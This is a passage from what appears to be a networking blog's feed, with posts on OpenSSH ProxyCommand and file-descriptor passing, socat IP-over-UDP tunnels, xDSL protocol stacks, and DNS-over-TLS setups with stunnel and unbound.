)\nand stderr
(SSH_MSG_CHANNEL_EXTENDED_DATA(channel, SSH_EXTENDED_DATA_STDERR, data)
)\nover the same session channel. \u21a9\ufe0e
It is currently not yet registered but it is described in the SFTP\ndrafts\nand widely deployed. \u21a9\ufe0e
\nbash
already does an implicit exec
when bash -c \"$a_single_command\"
is used. \u21a9\ufe0e
While looking at the OpenSSH ssh_config
manpage, I found the\nProxyUseFdpass
configuration I did not know about.\nIt is apparently not widely known or used.
Update 2017-08-02: netcat (nc
) has an option\n(nc.openbsd -F www.example.com 80
) to pass the created\nfile descriptor using the \"fdpass\" mechanism.\nIn addition to the straightforward connect()
,\nit can pass a file descriptor having initiated a connection through a SOCKS\nproxy (with -x proxy.example.com
) or with HTTP connect\n(-x proxy.example.com -X connect
).
Update (2021-02-09):\nreplaced fds.fromstring()
with fds.frombytes()
.
ProxyCommand
OpenSSH client has a ProxyCommand
configuration which can be used to\nuse a command as a transport to the server:
\n\nSpecifies the command to use to connect to the server. The command\nstring extends to the end of the line, and is executed using the\nuser's shell \u2018exec\u2019 directive to avoid a lingering shell process.
\n
Instead of opening a socket to the server itself, the OpenSSH client\nspawns the specified command and use its standard input and output to\ncommunicate with the server.
\nThe man page suggests to use (the OpenBSD variant of) netcat to connect\nthrough an HTTP (or SOCKS) proxy:
\nProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p\n
\nA typical usage is to use a relay/bastion/jump/gateway[^jump] SSH\nserver with ssh -W
[1]:
Host gateway.example.com\nProxyCommand none\n\nHost *.example.com\nProxyCommand ssh gateway.example.com -W %h:%p\n
\nUsing ProxyJump
instead
OpenSSH 7.3 includes\nspecial support for SSH jump servers with the ProxyJump
\nconfiguration,
Host *.example.com\nProxyJump gateway.example.com\n
\nor the -J
flag:
ssh -J gateway.example.com foo.example.com\n
\nCode injection through ProxyCommand
(update 2023-12-21)
Using ProxyCommand
with hostname (%h
) or username (%u
) expansions\nmay expose you to shell command injections:\nit is possible\nto inject arbitrary shell commands through\nthe hostname (%h
) or username (%u
)\n(CVE-2023-51385).
For this to be exploited,\nan attacker would have to trick you into SSH-ing\ninto a host with a weird (containing shell metacharacters) name\nor using a weird username.\nThis can for example happen\nwhen doing a recursive git clone
\nof a malicious git repository.
This has been mitigated in OpenSSH 9.6.p1\nby rejecting host and username containing shell meta-characters\n(which should mostly work on a regular shell\nbut might not work if using an exotic shell).
\nProxyUseFdPass
While looking at the new ProxyJump
configuration, I found a\nProxyUseFdpass
option which:
\n\nSpecifies that ProxyCommand will pass a connected file descriptor\nback to ssh(1) instead of continuing to execute and pass data. The\ndefault is \u201cno\u201d.
\n
When enabled, instead of communicating with the server through the\nProxyCommand
standard input and output, the SSH client expects the\ncommand to give it a file descriptor to use. The idea is to avoid\nhaving an uncessary lingering process and extra write/reads when it is\nnot necessary[2].
The documentation does not explain how it is supposed to work exactly\nand I did not find any working example or any suggestion of a program\nwhich would be able to pass the file descriptor.
\nThe spawned command is expected to:
\nsendmsg
with SCM_RIGHTS
\nusing a one-byte message;exit(0)
.A minimal program which does the job is:
\n#!/usr/bin/env python3\n\nimport sys\nimport socket\nimport array\n\n# Create the file descriptor:\ns = socket.socket(socket.AF_INET6, socket.SOCK_STREAM, 0)\ns.connect((sys.argv[1], int(sys.argv[2])))\n\n# Pass the file descriptor:\nfds = array.array(\"i\", [s.fileno()])\nancdata = [(socket.SOL_SOCKET, socket.SCM_RIGHTS, fds)]\nsocket.socket(fileno = 1).sendmsg([b'\\0'], ancdata)\n
\nWhich can be used with:
\nProxyCommand /path/to/passfd %h %p\nProxyUseFdpass yes\n
\nIn its current form, it does not do much.\nIt creates a socket the same way the OpenSSH client\nwould have and pass it to the OpenSSH client.\nHowever, it can extended in order to do things such as:
\nSO_DONTROUTE
, etc.);For testing purpose this receiving program can be used:
\n#!/usr/bin/env python3\n\nimport os\nimport sys\nimport socket\nimport array\n\n(a, b) = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM, 0)\npid = os.fork()\n\ndef recv_fd(sock):\n fds = array.array(\"i\")\n cmsg_len = socket.CMSG_LEN(fds.itemsize)\n msg, ancdata, flags, addr = sock.recvmsg(1, cmsg_len)\n for cmsg_level, cmsg_type, cmsg_data in ancdata:\n if (cmsg_level, cmsg_type) == (socket.SOL_SOCKET, socket.SCM_RIGHTS):\n fds.frombytes(cmsg_data)\n return fds[0]\n sys.exit(1)\n\nif pid == 0:\n # Exec specified command in the child:\n a.close()\n os.dup2(b.fileno(), 0)\n os.dup2(b.fileno(), 1)\n b.close()\n os.execvp(sys.argv[1], sys.argv[1:])\nelse:\n # Receive file descriptor and wait in the parent:\n b.close()\n s = recv_fd(a)\n os.waitpid(pid, 0)\n print(s)\n
\nWhich can be used as:
\nfdrecv fdpass localhost 80\n
\nIt is often suggested to use this configuration instead:
\nProxyCommand ssh gateway.example.com nc %h %p\n
\nThis requires netcat to be available on the server. ssh -W
only\nneeds client-side support which is available in OpenSSH since\n5.4 (released in 2010)\nand the SSH server to accept TCP forwarding. \u21a9\ufe0e
It is not usable for a SSH jump server but can be used in\nsimpler cases. \u21a9\ufe0e
\nA simple way to create IP over\nUDP tunnels using\nsocat
.
This is the protocol stack we are going to implement:
\n\n[ IP ]\n[ UDP ]\n[ IP ]\n\n
Warning: no protection!
\nThis does not provide any protection (encryption, authentication)!
\nIn order to create a tunnel, we must create a\nTUN\ndevice interface. A TUN device is a network device managed by a\nuserspace program:
\nWe would like to have a simple program which manages such a TUN device by\nencapsulating them over a UDP socket.
\nsocat
It turns out socat
can do this already!
On the first host:
\nsudo socat UDP:192.0.2.2:9000,bind=192.0.2.1:9000 \\\n TUN:10.0.1.1/24,tun-name=tundudp,iff-no-pi,tun-type=tun,su=$USER,iff-up\n
\nOn the second one:
\nsudo socat UDP:192.0.2.1:9000,bind=192.0.2.2:9000 \\\n TUN:10.0.1.2/24,tun-name=tundudp,iff-no-pi,tun-type=tun,su=$USER,iff-up\n
\nExplanations:
\nUDP
type creates a connect()
-ed UDP socket which means only the\npackets coming from this specific remote UDP endpoint will be accepted;iff-no-pi
sets the IFF_NO_PI
flag which disables some\nencapsulation;tun-type=tun
asks an IP-based devices (as opposed for\ntun-type=tap
for Ethernet-based device which would implement an\nEthernet over UDP tunnel);iff-up
sets the interface up;su=$USER
changes the user of the process (instead of using\nroot
).Now we can ping over the tunnel:
\nhost1:~$ ping 10.0.1.2\nPING 10.0.1.2 (10.0.1.2) 56(84) bytes of data.\n64 bytes from 10.0.1.2: icmp_seq=1 ttl=64 time=39.3 ms\n64 bytes from 10.0.1.2: icmp_seq=2 ttl=64 time=40.1 ms\n\nhost1:~$ ip route get 10.0.1.2\n10.0.1.2 dev tunudp src 10.0.1.1 \n cache\n
\nYou can add IPv6 addresses to the tunnel and it works as expected:\nboth IPv4 and IPv6 packets are sent over the same UDP socket and the\nversion field is used to distinguish them.
\nip fou
The other solution is to use ip fou
(for\nfoo over UDP):
modprobe fou\nip fou add port 9000 ipproto 4\nip link add name tunudp type ipip \\\n remote 192.168.2.2 local 192.168.2.1 ttl 225 \\\n encap fou \\\n encap-sport auto encap-dport 9000\n
\nWe can expect better performance as its handled completely in the\nkernel side. The downside is that you have to create two different\ntunnels (one for encapsulating IPv4 and the other for IPv6).
\n"}, {"id": "http://www.gabriel.urdhr.fr/2015/12/09/dns-aggregator-tls/", "title": "DNS aggregation over TLS", "url": "https://www.gabriel.urdhr.fr/2015/12/09/dns-aggregator-tls/", "date_published": "2015-12-09T00:00:00+01:00", "date_modified": "2015-12-09T00:00:00+01:00", "tags": ["computer", "dns", "network", "tls"], "content_html": "In a previous\npost, I tried\ndifferent solutions for tunnelling DNS over\nTLS. One of those solutions was\nusing a dedicated DNS-over-UDP fake\nservice replying to all\nqueries with the truncate flag set: this was causing the stub\nresolvers to retry the query using a TCP-based virtual-circuit. This\nsolution is interesting because it is dead simple (it fits in a few\nline of codes) but it is clearly a hack. Here, I am using a dedicated\nDNS forwarder aggregating all\nthe incoming DNS-over-UDP requests over a single persistent TCP\nvirtual-circuit.
\nUpdate (2017-05-17):\nThis was written before\nDNS over TLS was a thing\nand before it was natively implemented in resolvers.\nSee DNS Privacy\nfor up-to-date instructions.
\nThe differents solutions presented in the previous post on the\nresolver side:
\nThe last solution is using this protocol stack:
\n\n DNSSEC valid. TLS Init.\n cache verify TLS\n\n[DNS]<->[DNS ]<------------------------>[DNS]\n[ ] [ ]<---->[ |TLS]<---------->[TLS]\n[TCP]<->[TCP ]<---->[TCP ]<---------->[TCP]\n[IP ]<->[IP ]<---->[IP ]<---------->[IP ]\nStub R. Forwarder TLS Init. Internet Recursive\n (unbound) (stunnel)\n\n
However,\neach DNS request is using a new TCP\nand TLS connection\nbetween the\nstub resolver and unbound. Between unbound and stunnel, each each\nincoming TCP connection stream is encapsulated in a new TLS\nconnection. This is very inefficient and the resulting DNS service is\nnot very robust.
\nPerformance considerations for DNS over TLS are summarized in the TLS\nfor DNS: Initiation and Performance\nConsiderations\ndraft (emphasis mine):
\n\n\nLatency: Compared to UDP, DNS-over-TCP requires an additional\nround-trip-time [\u2026]. The TLS handshake adds another two RTTs of\nlatency.
\nState: The use of connection-oriented TCP requires keeping\nadditional state in both kernels and applications. [\u2026]
\nProcessing: [\u2026] slightly higher CPU usage.
\nNumber of connections: clients SHOULD minimize creation of new\nTCP connections. Use of a local DNS request aggregator (a\nparticular type of forwarder) allows a single active DNS-over-TLS\nconnection from any given client computer to its server.
\n
In order to fix this problem, I wrote a prototype DNS\nforwarder which aggregates all\nthe local UDP-based DNS messages over a persistent TCP stream:
\nThis service can then be coupled with a TLS initiator (stunnel
)\nwhich encapsulates the persistent DNS stream over TCP.
In the future, the tool might have an option to talk TLS natively. My\nexcuse for not adding builtin support for TLS was that it gives you\nthe freedom of choosing which TLS implementation you would like to use\n(OpenSSL with stunnel
or socat
, GnuTLS with gnutls-serv
and a\ntool such as socat
with faucet
, NSS but I do not know a suitable\ntool using this library, etc).
\n VC encap. DNSSEC valid. TLS\n\tMux. cache TLS verify\n\n[DNS]<->[DNS ]<->[DNS ]<---------------------->[DNS]\n [TLS]<-------->[TLS]\n[UDP]<->[UDP|TCP]<->[TCP ]<---->[TCP ]<-------->[TCP]\n[IP ]<->[IP ]<->[IP ]<---->[IP ]<-------->[IP ]\nClient Aggregator Forwarder TLS Init. Internet Recursive\n (dnsfwd) (unbound) (stunnel)\n\n
The resulting DNS service is much more robust.
\nWarning
\nThis software is a prototype. Use at your own risk.
\nThe Broadband Forum as a lot of technical\nreports about\nthe xDSL architecture but it is not so easy to find a good description\nof the global architecture. Those are ASCII-art protocol stack I\ninferred from those documents. What is in there may be wrong, feel free\nto correct me.
\nYou can find relevant diagrams in\nTR-025\n(figure 4,\nfor end-to-end ATM network;\nfigure 5\nfor L2TP;\nfigure 6\nfor PPP (Point to Point) termination at the access node),\nin TR-101\n(figure 4\nfor the U interface;\nfigure 7\nfor the V interface),\nTR0-59\n(figure 11).
\nThe link between the client and the Remote Access Server (RAS) is a point-to-point link.\nThe PPP link-layer protocol is used.\nIt provides:
\nExplanations:
\nThe modem and the router are often merged in a modem-router:
\n\nInstead of converting between PPPoE to PPPoA, the modem can\nencapsulate PPPoE over ATM (PPPoEoA). The modem can be seen as an\nEthernet bridge. This solution is often called PPPoE because ATM was\npreviously always used for aggregation.
\n\nIn this example, the aggregation network is Ethernet based. This is\nrecommended for new deployments. PPPoE (without ATM) is used instead\nof PPPoA. As before, the modem can be seen as an Ethernet switch.
\n\nEthernet aggregation (no ATM) without PPP.
\n\nDetails of the interfaces can be found in TR-059 page\n9.
\nThe U interface is the interface between the B-NT (the xDSL modem) and\nthe Access Node (DSLAM):
\n\nTR-043\ncompares the different ATM-based solutions.
\nNotes:
\nRFC2684 defines two methods of\nprotocol multiplexing over AAL5:
\n\n[Client] [BRAS] [LNS]\n | | [RADIUS Proxy]| [RADIUS]\n | | | | |\n | | | | |\n | | | | | I] Initial challenge\n | | | | |\n |<------| | | | CHAP Challenge\n |------>| | | | CHAP Response\n | |------>|------------>| RADIUS Access-Request\n | |<------|<------------| RADIUS Access-Accept\n | | | | | Tunnel-Type=L2TP\n | | | | | Tunnel-Medium-Type=IPv4\n | | | | | Tunnel-Server-Endpoint=lns.example.com\n | | | | | Tunnel-Password=potato\n |<------| | | | CHAP Success\n | | | | |\n | | | | |\n | | | | | II] Tunnel establishment\n | | | | |\n | |-------------->| | L2TP Start-Control-Connection-Request\n | |<--------------| | L2TP Start-Control-Connection-Reply\n | |-------------->| | L2TP Start-Control-Connection-Connected\n | |<--------------| | L2TP Zero-Length Body Ack.\n | | | | |\n | | | | | III] Call establishment\n | | | | |\n | |-------------->| | L2TP Incoming-Call-Request\n | |<--------------| | L2TP Incoming-Call-Reply\n | |-------------->| | L2TP Incoming-Call-Connected\n | |<--------------| | L2TP Zero-Length Body Ack.\n | | | | |\n | | | | |\n | | | | | IV] New challenge\n | | | | |\n |<----------------------| | CHAP Challenge\n |---------------------->| | CHAP Response\n | | | |---->| RADIUS Access-Request\n | | | |<----| RADIUS Access-Accept\n |<----------------------| | CHAP Success\n | | | | |\n\n
You might want to use an open recursive DNS servers if your ISP's DNS\nserver is lying. However, if your network/ISP is intercepting all DNS\nrequests, a standard open recursive DNS server won't help. You might\nhave more luck by using an alternative port or by forcing the usage of\nTCP (use-vc
option in recent versions of glibc) but it might not\nwork. Alternatively, you could want to talk to a (trusted) remote\nrecursive DNS server over secure channel such as TLS: by using DNS\nover TLS over TCP port 443 (the HTTP/TLS port), you should be able to\navoid most filtering between you and the recursive server.
Update (2017-05-17):\nThis was written before\nDNS over TLS was a thing\nand before it was natively implemented in resolvers.\nSee DNS Privacy\nfor up-to-date instructions.
\nUpdate (2017-04-08):\nAll those solutions use\none TCP (and TLS) connection per DNS request\nwhich is quite inefficient.
\nUpdate (2016-05-18):\nRFC7858, Specification for DNS over TLS\ndescribes the use TLS over DNS (using TCP port 853).
\nWarning
\nYou might not want to use DNS/TLS to bypass state censorship.\nYou probably want some sort of stealthy VPN.
\nIf someone is able to censor your DNS requests, it could detect that\nyou are communicating to forbidden hosts.\nMoreover, it is quite easy to check that the remote TLS server is not a web\nserver (or not only a webserver) but a DNS server (by making DNS\nrequests) unless you add client authentication.
\nOn the server-side:
\n\nOn the client-side:
\nuse-vc
in resolv.conf
for glibc; tcp
for\nOpenBSD) \u2192 stunnel (but programs which do not rely on the libc\nresolver functions will probably ignore the option).Generic solution:
\n\n cache verify TLS\n \u2193 \u2193\n[DNS ]<----->[DNS ]<->------------------------------->[DNS]\n [TLS]----------->[TLS]\n[UDP*]<----->[UDP*|TCP]<->[TCP ]<---------->[TCP ]<->[TCP]\n[IP ]<----->[IP ]<->[IP ]<---------->[IP ]<->[IP ]\nStub Forwarder TLS Init. Internet TLS Term. Recursive\nResolver (unbound) (stunnel) (stunnel)\n\n*: or TCP if the reply is too long\n\n
Unbound can be use directly for TLS on the recursive side:
\n\n cache verify TLS\n \u2193 \u2193\n[DNS ]<->[DNS ]<->-------------------->[DNS]\n [TLS]----------->[TLS]\n[UDP*]<->[UDP*|TCP]<->[TCP ]<---------->[TCP]\n[IP ]<->[IP ]<->[IP ]<---------->[IP ]\nStub Forwarder TLS Init. Internet Recursive\nResolver (unbound) (stunnel) (unbound)\n\n
However, it is currently not safe to use unbound to DNS/TLS on the\nclient-side because unbound does not verify the remote\ncertificate[1]\n(MITM attack). This solution is not safe:
\n\n cache MITM!\n\n[DNS ]<->[DNS ]<--------->[DNS]\n [TLS]<--------->[TLS]\n[UDP*]<->[UDP*|TCP]<--------->[TCP]\n[IP ]<->[IP ]<--------->[IP ]\nStub Forwarder Internet Recursive\nResolver (unbound) (unbound)\n\n
stunnel
can be used to add/remove TLS\nlayers:
The issue is that usually the resolver will first try to make the\nquery over UDP. If their is not UDP reply, the resolver will not\nswitch to TCP. We need a way to force the resolver to use TCP.
\nThe GNU libc resolver has a (undocumented) option, use-vc
(see\nresolv/res_init.c
) to force the usage of TCP for DNS resolutions.\nThis option is available since glibc v2.14 (available since Debian\nJessie, since Ubuntu 12.04).
In /etc/resolv.conf
:
options use-vc\nnameserver 2001:913::8\n
\nWith the RES_OPTIONS
environment variable:
RES_OPTIONS=\"use-vc\"\nexport RES_OPTIONS\n
\nExample:
\n$ # Using UDP (SOCK_DGRAM):\n$ strace getent hosts www.ldn-fai.net 2>&1 | grep -e PF_INET\nsocket(PF_INET, SOCK_DGRAM|SOCK_NONBLOCK, IPPROTO_IP) = 3\nsocket(PF_INET, SOCK_DGRAM|SOCK_NONBLOCK, IPPROTO_IP) = 4\nsocket(PF_INET, SOCK_DGRAM|SOCK_NONBLOCK, IPPROTO_IP) = 3\n\n$ #Using TDP (SOCK_STREAM):\n$ RES_OPTIONS=use-vc strace getent hosts www.ldn-fai.net 2>&1 | \\\n grep -e PF_INET\nsocket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3\n
\nOther libc implementations:
\ntcp
option for this.options
at all (and does not support\nRES_USEVC
and DNS/TCP).Similar libraries:
\noptions
field at all.The option to force the usage of TCP for DNS resolution is not\navailable everywhere (many stub resolvers do not handle this option and\nsome sofware do not use the system resolver). A hack to force the\nstub resolver to use TCP would be to have a simple local DNS/UDP service\nwhich always replies with the truncated bit set (TC=1
): this should\nforce most implementations to switch to TCP (and talk to the local\nstunnel process):
\n[Resolver] [Fake service] [local stunnel] // [Remote recursive]\n | | | |\n |--------->| | | Query over UDP\n |<---------| | | Response over UDP (TC=1)\n |----------------------->|---------------->| Query over TCP\n |<-----------------------|<----------------| Response over TCP\n\n
TruncateDNSd is a\nproof-of-concept implementation of this idea: I am not sure there is a\nclean way to do this so it might remain a proof-of-concept.
\nThe correct solution is to have a local DNS recursive server which is\nable to delegate to a remote recursive DNS over TCP:\nUnbound can talk (either as a server or as a\nclient) over TCP (tcp-upstream
) or over TLS/TCP (ssl-upstream
,\nssl-service-key
, ssl-service-pem
, ssl-port
).
However, it seems it cannot validate the certificate (v1.5.1):
\nThose two limitations can be mitigated by using a dedicated TLS\nencapsulation daemon such as stunnel or socat.
\nstunnel configuration:
\n; /etc/stunnel/dns.conf\nsetuid=stunnel4\nsetgid=stunnel4\npid=/var/run/stunnel4/dns.pid\noutput=/var/log/stunnel4/dns.log\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[dns]\ncert=/etc/stunnel/dns.pem\naccept=443\nconnect=53\n
\nKey pair and certificate generation:
\nopenssl req -days 360 -nodes -new -x509 -keyout key.pem -out cert.pem \\\n -subj \"/CN=$MY_IP\" -sha256 -newkey rsa:2048\n(cat key.pem ; echo ; cat cert.pem ; echo ) > dns.pem\nsudo chmod root:root dns.pem\nsudo chmod 440 dns.pem\nsudo mv dns.pem /etc/stunnel/\n
\n\nUnbound can be configured to use TLS directly with ssl-port
,\nssl-service-key
, ssl-service-pem
.
sudo socat \\\n TCP4-LISTEN:53,bind=127.0.0.1,fork,nodelay,su=nobody \\\n OPENSSL:80.67.188.188:443,verify=1,cafile=dns.pem,nodelay\n
\nWith /etc/resolv.conf
:
options use-vc\nnameserver 127.0.0.1\n
\n\nPrograms and libraries trying to parse resolv.conf
directly without\nusing the res_
(for example lwresd
) functions will usually ignore\nthe use-vc
and fail to work if no DNS server replies on UDP.
This is the client side stunnel configuration:
\nsetuid=stunnel4\nsetgid=stunnel4\npid=/var/run/stunnel4/dns.pid\noutput=/var/log/stunnel4/dns.log\nclient=yes\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[dns]\nCAfile=/etc/stunnel/dns.pem\naccept=127.0.0.1:53\nconnect=80.67.188.188:443\nverify=4\n
\nwith the same resolv.conf
.
Warning
\nThis configuration is vulnerable to\nMITM attacks[1:1].\nUse the unbound + stunnel configuration instead.
\nA better solution would be to install a local unbound. The local\nunbound instance will cache the results and avoid a higher latency due\nto TCP and TLS initialisation:
\nserver:\n # verbosity: 7\n ssl-upstream: yes\nforward-zone:\n name: \".\"\n forward-addr: 80.67.188.188@443\n
\n# /etc/resolv.conf\nnameserver 127.0.0.1\n
\n\nAs a bonus, you can enable local DNSSEC validation.
\nUnbound currently does not verify the validity of the remote X.509\ncertificate. In order to avoid MITM attacks, you might want to add a\nlocal stunnel between unbound and the remote DNS server.
\nThe unbound configuration uses plain TCP:
\nserver:\n # verbosity:7\n tcp-upstream: yes\n do-not-query-localhost: no\nforward-zone:\n name: \".\"\n forward-addr: 127.0.0.1@1234\n
\nIssues:
\ndo-not-query-localhost: no
.unbound
can be shipped with a script for resolvconf
which\nmodified the forwarders which will override your tunnel\nconfiguration.\nOn Debian Jessie, this in handled by\n/etc/resolvconf/update.d/unbound
and can be disabled by setting\nRESOLVCONF_FORWARDERS=false
in /etc/default/unbound
.A local stunnel instance handles the TLS encapsulation (with remote\ncertificate verification):
\nsetuid=stunnel4\nsetgid=stunnel4\npid=/var/run/stunnel4/dns.pid\noutput=/var/log/stunnel4/dns.log\nsocket = l:TCP_NODELAY=1\nsocket = r:TCP_NODELAY=1\n\n[dns]\nclient=yes\nCAfile=/etc/stunnel/dns.pem\naccept=127.0.0.1:1234\nconnect=80.67.188.188:443\nverify=4\n
\n\nVerifying that the setup is correct:
\n# We whould see the local traffic to your unbound instance:\nsudo tcpdump -i lo \"port 53\"\n\n# We should see the traffix from unbound to local stunnel instance:\nsudo tcpdump -i lo \"port 1234\"\n\n# We should not see outgoing DNS traffic:\nsudo tcpdump -i eth0 \"port 53\"\n\n# Make DNS requests and see if everything works as expected:\ndig attempt45.example.com\n\n# Flush the cache:\nsudo unbound-control flush_zone .\n\n# Make DNS requests directly on the tunnel (bypass unbound):\ndif +tcp @127.0.0.1 -p 1234 attempt46.example.com\n\n# Display the list of forward servers:\nsudo unbound-control list_forwards\n
\nIf your local resolver verify the authenticity of the DNS reply with\nDNSSEC, it will be able to detect a spoofed DNS reply and reject\nit. But it will still not be able to get the correct reply. So you\nshould use DNSSEC but you might still want to use DNS/TLS.
\nSee the Mozilla SSL Configuration\nGenerator:
\n[dns]\n# Append this to the service [dns] section:\noptions = NO_SSLv2\noptions = NO_SSLv3\noptions = NO_TLSv1\noptions = CIPHER_SERVER_PREFERENCE\nciphers = ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!3DES:!MD5:!PSK\n
\nTLS for DNS:
\nDNS PRIVate Exchange (dprive),\na IETF working group working on privacy issues of DNS exchanges with drafts:
\nhttps://${resolver}:${port}/.well-known/dns-in-https/${base64url(request)}
\nThe response is sent with Content-Type: application/dns-response
.TLS-DNS:\nThis setup directly connects the UDP socket with the TCP socket with\nsocat
as a consequence, the TLS stream does not transport the DNS\nrequests in the TCP\nwire-format. I\nguess there should be framing problems when converting from TCP to\nUDP.
summary of RFC7858\nby St\u00e9phane Bortzmeyer (in French)
\nOpen recursive DNS server:
\nDNS censorship:
\nDNS monitoring:
\nIn the unbound code, the TLS outgoing connections are setup in\nvoid* connect_sslctx_create(char* key, char* pem, char* verifypem)
.\nThis function only calls SSL_CTX_set_verify()
\nif the verifypem
parameter is not NULL
.\nHowever, connect_sslctx_create()
is always\ncalled with verifypem
set to NULL
.
You can verify this by configuring a local DNS/TLS service:
\nopenssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 256 -nodes\nsocat -v OPENSSL-LISTEN:1234,fork,certificate=./cert.pem,key=./key.pem TCP:80.67.188.188:53\n
\nand configure unbound to use it as a TLS upstream:
\nserver:\n # verbosity:7\n ssl-upstream: yes\n do-not-query-localhost: no\nforward-zone:\n name: \".\"\n forward-addr: 127.0.0.1@1234\n
\n \u21a9\ufe0e \u21a9\ufe0e